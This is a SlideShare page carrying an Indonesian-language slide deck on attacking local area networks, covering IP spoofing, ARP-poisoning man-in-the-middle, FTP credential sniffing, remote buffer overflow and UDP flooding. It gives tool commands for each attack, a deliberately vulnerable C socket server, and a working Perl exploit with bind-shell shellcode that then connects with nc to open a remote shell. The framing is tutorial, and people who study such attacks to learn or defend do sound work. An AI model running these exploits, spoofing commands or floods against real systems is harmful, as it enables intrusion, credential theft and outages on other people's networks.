Attacking The Lan

2,547 views

Published on

Published in: Technology
0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
2,547
On SlideShare
0
From Embeds
0
Number of Embeds
5
Actions
Shares
0
Downloads
168
Comments
0
Likes
1
Embeds 0
No embeds

No notes for slide

Attacking The Lan

  1. 1. Hack 0x00 - Global Trend Attack in Local Network Local Network atau sering disebut Local Area Network (LAN) saat ini sudah menjadi hal yang sangat lumrah di berbagai tempat misalnya di lingkungan akademik seperti kampus, sekolah dasar dan menengah, dan perkantoran. Namun pernahkan kita bayangkan bahwa dari jaringan lokal inilah sebuah intrusi untuk mencuri informasi – informasi sensitif menjadi sangat mudah (ingat tidak semua orang dalam bisa di percaya bahkan sebagian besar intrusi lebih banyak terjadi dari jaringan lokal). Dari jaringan lokal policy firewall, rule IDS biasanya di buat lebih sederhana sehingga restriksinya pun tidak terlalu ketat. Hal inilah yang sering di manfaatkan oleh seorang attacker untuk melakukan penyerangan dari dalam. Berikut ini trend attack yang sering dilakukan dari jaringan lokal : - Spoofing - Sniffing - Man in The Middle (MiTM) - TCP/IP Session Hijacking - Trojan - Keylogging - Remote Code Execution - Denial of Service Berikut ini saya uraikan penjelasan beberapa attacking di atas yaitu : spoofing, sniffing, Man in The Middle, Remote Code Execution, Denial of Service. Hack 0x01 - Spoofing Spoofing adalah mengirimkan suatu packet dengan menggunakan alamat asal yang dipalsukan dengan tujuan untuk penyamaran identitas. Penyamaran identitas ini bisa digunakan untuk berbagai keperluan misalnya email spoofing dapat digunakan untuk phising, penipuan, dan pencurian beragam informasi sensitif. Beberapa kasus spoofing yang sering terjadi di jaringan lokal : - IP spoofing bisa digunakan untuk beragam keperluan Denial of Service, misalnya TCP SYN Flooding, ICMP smurfing, UDP flooding. RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 1
  2. 2. - ARP spoofing atau lebih dikenal dengan ARP poisoning biasa digunakan untuk keperluan Man In The Middle (MiTM). Untuk mendemokan bagaimana spoofing terjadi, saya menggunakan contoh IP spoofing dalam koneksi TCP (Transmission Control Protocol). Sebelum terjadi koneksi TCP maka pihak yang hendak melakukan koneksi harus mengirimkan TCP flags SYN (synchronize) terlebih dahulu. Jadi nantinya packet TCP SYN ini di kirimkan ke suatu target dengan menggunakan sumber IP address palsu. Untuk mengamati bagaimana proses terjadinya spoofing, saya menggunakan bantuan tcpdump dan sebuah tool IP spoofing sederhana. Di sisi attacker (1) ifconfig –a | grep “inet addr” (2) tar zxvf ipspoof.tgz (3) cd ipspoof/ (4) gcc –o ipspoof ipspoof.c (5) ./ipspoof (6) ./ipspoof <victim addr> <port> <source addr> example : (7) ./ipspoof 10.13.200.130 80 1.2.3.4 Di sisi victim (1) ifconfig –a|grep “inet addr” (2) tcpdump –nne tcp port 80 RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 2
  3. 3. Gambar (I) Demo IP spoofing Tcpdump menjelaskan kepada kita bahwa terjadi pengiriman TCP SYN (S) dari IP address 1.2.3.4 di port 45298 menuju IP address 10.13.200.130 di port 80, padahal IP address pengirim yang sesungguhnya adalah 10.13.5.25. Salah satu akibat dari spoofing TCP SYN adalah terjadinya Denial of Service di mesin victim. RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 3
  4. 4. Hack 0x02 - Man In The Middle Man-in-the-middle (MITM) attack adalah salah satu serangan pada tahap gaining access. Dengan cara ini seseorang bisa membaca, menginsert dan memalsukan data antara dua komputer yang saling terhubung sekalipun di dalam switched network. Man-in-the-middle attack dapat dilakukan jika komputer attacker berada di dalam satu network dengan dua komputer yang lainnya Sesuai dengan namanya Man-in-the-middle, attacker harus menempatkan diri ditengah-tengah komunikasi antara komputer User A dan komputer User B sehingga attacker bisa mengcapture (sniff) semua data dari komputer User A dan komputer User B. Gambar (II) Skenario Man In The Middle RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 4
  5. 5. attacker-> ping 172.16.11.111 (User A) PING 172.16.11.111 (172.16.11.111): 56 data bytes 64 bytes from 172.16.11.111: icmp_seq=0 ttl=128 time=0.599 ms attacker-> ping 172.16.11.103 (User B) PING 172.16.11.103 (172.16.11.103): 56 data bytes 64 bytes from 172.16.11.103: icmp_seq=0 ttl=64 time=1.022 ms attacker-> arp -na ? (172.16.11.1) at 00:11:bb:74:da:00 on rl0 ? (172.16.11.103) at 00:00:21:27:12:1f on rl0 ? (172.16.11.104) at 00:d0:68:00:f0:ce on rl0 ? (172.16.11.111) at 00:0c:76:24:ab:3c on rl0 Satu hal yang menarik dari table entry ARP tadi adalah ketika 2 IP address berbeda dengan MAC yang sama ada di dalam table ARP, maka IP address yang terdahulu akan dioverwrite oleh IP address yang baru. Lalu yang harus dilakukan oleh attacker adalah mengirimkan ARP sehingga komputer User A percaya bahwa IP address komputer User B ada di MAC address komputer attacker dan mengirimkan ARP sehingga komputer User B percaya bahwa IP address komputer User A ada di MAC address komputer attacker juga. Dengan teknik ini semua paket data dari komputer User A yang menuju ke komputer User B akan melalui interface attacker. Teknik pemalsuan ARP ini sering dikenal dengan ARP spoofing atau ARP cache poisoning. Banyak sekali tools yang bisa digunakan untuk melakukan ARP spoofing dan tersedia gratis di internet. Beberapa yang sering digunakan adalah : - ettercap ( http://ettercap.sourceforge.net/ ) - arpspoof ( bagian dari dsniff http://monkey.org/~dugsong/dsniff/ ) - nemesis ( http://nemesis.sourceforge.net ) - Cain & Abel ( http://www.oxid.it ) RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 5
  6. 6. Untuk mendemokan bagaimana Man-In-The-Middle, saya menggunakan nemesis sebagai tool untuk menginjeksikan packet ke komputer User A dan komputer User B. (1) Support kernel IP forwarding sysctl net.ipv4.ip_forward=1 echo “net.ipv4.ip_forward=1” >> /etc/sysctl.conf (2) Injeksikan paket ARP palsu nemesis arp -v -r -d <interface attacker> -S <IP User A> -D <IP User B > -h <MAC interface attacker> -m <MAC User A> -H <MAC interface attacker> -M <MAC User A> nemesis arp -v -r -d <interface attacker> -S <IP User B> -D <IP User A> -h <MAC interface attacker> -m <MAC User B> -H <MAC interface attacker> -M <MAC User B> Man-in-The-Middle (MiTM) di atas menggunakan teknik ARP cache poisoning, teknik ini paling umum digunakan dalam jaringan lokal yang menggunakan switch. Beberapa teknik MiTM yang lain adalah : - switch port stealing - DHCP spoofing - DNS spoofing - ICMP redirection RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 6
  7. 7. Hack 0x03 - Sniffing Sniffing adalah sebuah proses penyadapan koneksi kemudian menganalisis packet data yang diperoleh. Sniffing bisa digunakan untuk keperluan legal, misalnya dalam memanage jaringan atau bisa digunakan untuk keperluan illegal, misalnya untuk mengintip informasi – informasi sensitif seperti username dan password. Ada dua macam sniffing yaitu : - passive sniffing, mengintai packet data yang ada di jaringan untuk di analisis tanpa melakukan modifikasi packet data. - active sniffing, mengintai packet data yang ada di jaringan kemudian melakukan manipulasi misalnya dengan menginjeksikan packet dengan tujuan memutuskan sebuah koneksi. Di sebuah jaringan yang terkoneksi melalui hub, proses sniffing bisa dilakukan dengan mudah. Hanya dengan mengintai packet data yang ada di network interface card di komputer milik attacker. Ini di karenakan packet data dikirimkan hub secara broadcast ke semua host yang ada di jaringan. Saat ini sudah jarang sekali ditemui sebah jaringan lokal menggunakan hub, namun digantikan menggunakan switch. Switch mengirimkan packet data secara unicast ke host yang melakukan koneksi. Untuk melakukan sniffing packet data di jaringan switch, seseorang perlu mengkompromise link antara dua buah pihak yang sedang terkoneksi, salah satu cara yang paling efektif dilakukan adalah dengan Man in The Middle (MiTM). Di sisi attacker (1) support kernel IP forwarding sysctl net.ipv4.ip_forward=1 (2) lakukan Man in The Middle Lihat di pembahasan sebelumnya (3) lakukan sniffing tcpdump –nne tcp port 21 (sniffing koneksi ftp) RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 7
  8. 8. Gambar (III) Demo Sniffing Tcpdump melakukan sniffing username dan password, dari hasil sniffing diperoleh bahwa user antoxz menggunakan password rahasia. RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 8
  9. 9. Hack 0x04 Remote Code Execution Remote Code Execution (RCE) merupakan sutu teknik dalam hacking yang memungkinkan seorang mengeksekusi sembarang code di sebuah mesin victim yang vulnerable. Mesin victim vulnerable dikarenakan adanya flaw di aplikasi, service, atau sistem operasi yang digunakan. Berikut ini flaw programming yang sangat umum terjadi : - Buffer Overflow - Integer Overflow - Error Format String - SQL injection - File Inclussion - Cross Site Scripting (XSS) Untuk attacking di jaringan lokal biasanya menggunakan flaw programming jenis buffer oveflow, integer overflow, dan error format strings namun untuk mengurangi banyaknya topik permasalahan saya hanya hendak menguraikan teknik remote buffer overflow. Buffer overflow adalah sebuah flaw programming yang terjadi karena sebuah program tidak mampu dengan baik menghandle inputan dari user, sehingga user bisa menginputkan data melebihi daya tampung yang disediakan memori. Beberapa contoh buffer overflow : - DCOM remote buffer overflow pada mesin windows. - Wu-FTPd remote buffer overflow pada mesin linux/nix versi lama. - Pro-FTPd mod TLS pre-auth remote buffer overflow. Untuk menerangkan bagaimana buffer overflow terjadi, saya melakukan sebuah percobaan sederhana. Percobaan yang saya lakukan menggunakan mesin fedora core 5 dengan kernel exec shield dan random virtual address didisable. Saya menggunakan sebuah code C sederhana yang memang dibuat vulnerable dengan stack based buffer overflow. RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 9
  10. 10. //http://www.milw0rm.com/papers/78 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #define LISTENPORT 7500 #define BACKLOG 10 #define MSG "Hello, how are you?" int handle_reply(char *str) { char response[256]; strcpy(response,str); printf("The client says "%s"n",response); return 0; } int main(int argc, char * argv[]) { int sock, conn; struct sockaddr_in my_addr, client_addr; int sockopt_on = 1; int sa_in_size = sizeof(struct sockaddr_in); char reply[1024]; if ((sock = socket(AF_INET, SOCK_STREAM,0)) == -1) { perror("socket"); exit(1); } memset((char *) &my_addr, 0, sa_in_size); my_addr.sin_family = AF_INET; my_addr.sin_port = htons(LISTENPORT); my_addr.sin_addr.s_addr = htonl(INADDR_ANY); if (bind(sock,(struct sockaddr *)&my_addr, sa_in_size) == -1) { perror("bind"); exit(1); } if (listen(sock,BACKLOG) == -1) { perror("listen"); exit(1); } while(1) { conn = accept(sock, (struct sockaddr *)&client_addr, &sa_in_size); if (conn == -1) { perror("accept"); exit(1); } printf("got connection from %sn", inet_ntoa(client_addr.sin_addr)); send(conn,MSG,strlen(MSG)+1,0); recv(conn, reply, 1024, 0); handle_reply(reply); } return 0; } RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 10
  11. 11. sysctl kernel.execshield=0 echo “0” >> /etc/sysctl.conf sysctl kernel.randomize_va_space=0 echo “0” >> /etc/sysctl.conf gcc –o bof bof.c ./bof Flaw programming pada code C di atas ada pada fungsi handle_reply() dalam mencopy variable str ke variable response strcpy(response,str). Ketika panjang variable str melebihi 256 maka yang terjadi adalah buffer overflow karena variable response hanya memilik daya tampung sepanjang 256. Proses debugging tidak saya uraikan detail karena cukup panjang, jika proses exploitasi potongan code di atas berhasil, maka attacker mendapat akses ke sistem operasi namun jika gagal maka terjadi terminating service yang mengakibatkan Denial of Service. RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 11
  12. 12. #!/usr/bin/perl use IO::Socket; $ip = $ARGV[0]; $nopsled = "x90"x174; $payload = "x6ax66x58x6ax01x5bx99x52x53x6ax02x89xe1xcdx80". "x52x66x68xffxffx66x6ax02x89xe1x6ax10x51x50x89xe1". "x89xc6x43xb0x66xcdx80xb0x66xd1xe3xcdx80x52x56x89". "xe1x43xb0x66xcdx80x93x6ax02x59xb0x3fxcdx80x49x79". "xf9x6ax0bx58x52x68x2fx2fx73x68x68x2fx62x69x6ex89". "xe3x52x53x89xe1xcdx80"; $eip="x18xe3xffxbf"; $attackstring = $nopsled.$payload.$eip; #view a message if no ip address is given if(!$ip) { die "You have to provide the target's IP Address..n"; } #the remote port to connect to $port = '7500'; #the connection protocol to use $protocol = 'tcp'; #create the actual network connection #and print an error message if it's not possible to create a socket print "[+] Connecting to victim on port 7500..";sleep(1); $socket = IO::Socket::INET->new(PeerAddr=>$ip, PeerPort=>$port, Proto=>$protocol, Timeout=>'1') || die "Could not create socketn"; #send the payload to the remote computer print "[OK]n"; print "[+] Sending data..";sleep(1); print $socket $attackstring; print "[OK]n"; #close the connection close($socket); print "[+] Spawning Shell - Try to type 'id'!!n"; system("nc -n $ip 65535"); RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 12
  13. 13. Gambar (IV) Remote Buffer Overflow RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 13
  14. 14. Hack 0x05 Denial of Service Denial of Service (DoS) adalah sebuah jenis serangan yang ditujukan untuk membuat resource tidak tersedia sehingga tidak bisa di akses oleh user yang sah. Denial of Service bisa berasal dari satu sumber, tapi juga bisa terdistribusi. Dilihat dari sumbernya, denial of service bisa dibagi dalam tiga kategori : - Denial of Service (DoS) - Distributed Denial of Service (DDoS) - Distributed Reflection Denial of Service (DRDoS) Denial of Service sendiri dapat dilakukan dengan menyerang pada : - Protocol weakness example : SYN Flooding, UDP Flooding - Service weakness : DoS services caused by overflow - Application weakness : Web2 XSS worm Denial of Services menggunakan kelemahan protokol biasanya berupa flooding, yakni pengiriman paket dalam jumlah yang sangat besar dengan tujuan untuk membanjiri jaringan dengan sampah sehingga bandwith habis dan koneksi menjadi sangat lambat bahkan tidak bisa sama sekali. Lebih parah lagi jika flooding dilakukan dengan menggunakan sumber IP address source yang di spoofing sehingga menjadi sangat susah sekali untuk mencegahnya. Beberapa contoh Denial of Service menggunakan kelemahan protokol adalah : Flooding TCP-SYN, Flooding UDP, Flooding ICMP, dan Smurfing ICMP. Sebuah contoh flooding UDP sebagai berikut : Di sisi attacker gcc –o udpflood udpflood.c ./udpflood -s 800 -f 10 10.13.8.87 RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 14
  15. 15. Di sisi victim Ifstat eth0 KB/s in KB/s out 458.02 0.53 586.32 0.12 329.81 0.19 307.25 0.12 Denial of Service pada service weakness biasanya terjadi karena flaw programming layaknya remote code execution. Di Hack 0x04 telah dijelaskan bahwa kegagalan exploitasi remote code execution bisa berakibat pada terminating service yang menyebabkan DoS. Gambar (V) Denial of Service RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 15

×